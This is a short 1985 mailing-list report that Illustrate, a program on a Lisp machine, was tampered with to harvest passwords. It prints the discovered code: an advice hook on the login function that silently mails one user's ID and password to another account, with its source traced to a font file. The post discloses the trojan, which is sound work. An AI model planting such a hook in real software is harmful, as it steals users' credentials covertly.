Compromised passwords

[Patrick A. O'Donnell <PAO@EECS.MIT.EDU>]

It appears that someone has hacked Illustrate such that it
has been collecting passwords from at least one user.  The creation date
on oak:>illustrate>ill-font.bin is 08/06/85.

------------------------------

-> si:advised-functions

(CHAOS:CHAOS-SCREEN-SPY-SERVER-FUNCTION-INTERNAL FS:GET-USER-ID-AND-PASSWORD)

-> (grindef FS:GET-USER-ID-AND-PASSWORD)

(ADVISE FS:GET-USER-ID-AND-PASSWORD
        :AFTER
        :PATCH-242.356
        0.
        (PROCESS-RUN-FUNCTION "Notify" (FUNCTION SI:SEND-IT) VALUES))
(DEFF FS:GET-USER-ID-AND-PASSWORD
      '#<DTP-COMPILED-FUNCTION FS:GET-USER-ID-AND-PASSWORD 11532517>)
*

-> (grindef si:send-it)

(DEFUN SI:SEND-IT (VALUES)
    (IGNORE-ERRORS (WHEN (AND (STRING-EQUAL (FIRST VALUES) "PSR")
                              (SECOND VALUES))
                         (ZWEI:SEND-MESSAGE-STRING "DRM@XX"
                                                   (FORMAT NIL
                                                           "~A = ~A"
                                                           (FIRST VALUES)
                                                           (SECOND VALUES))))))
*

-> (describe 'si:send-it)

SI:SEND-IT is the function (SI:DIGESTED-LAMBDA (LAMBDA ** **) (SI:SEND-IT) ...): (VALUES)
    (SI:DIGESTED-LAMBDA (LAMBDA (VALUES) (IGNORE-ERRORS (WHEN (AND ** **) (ZWEI:SEND-MESSAGE-STRING "DRM@XX" **)))) (SI:SEND-IT) 2049. 262401. NIL (VALUES) NIL (IGNORE-ERRORS (WHEN (AND (STRING-EQUAL ** "PSR") (SECOND VALUES)) (ZWEI:SEND-MESSAGE-STRING "DRM@XX" (FORMAT NIL "~A = ~A" ** **))))) is a list
    
SI:SEND-IT is in the SYSTEM-INTERNALS package.
SI:SEND-IT has property :SOURCE-FILE-NAME: #<LOGICAL-PATHNAME "ILL: CODE; ILL-FONT">
    #<LOGICAL-PATHNAME "ILL: CODE; ILL-FONT">, an object of flavor FS:LOGICAL-PATHNAME,
     has instance variable values:
     FS:TRANSLATED-PATHNAME:   #<LMFS-PATHNAME "OAK:>illustrate>ill-font">
     FS:TRANSLATION-TICK:      5.
     FS:HOST:                  #<LOGICAL-HOST ILL>
     FS:DEVICE:                :UNSPECIFIC
     FS:DIRECTORY:             ("CODE")
     FS:NAME:                  "ILL-FONT"
     FS:TYPE:                  NIL
     FS:VERSION:               NIL
     SI:PROPERTY-LIST:         NIL
     FS:STRING-FOR-PRINTING:   "ILL: CODE; ILL-FONT"
    
SI:SEND-IT

------------------------------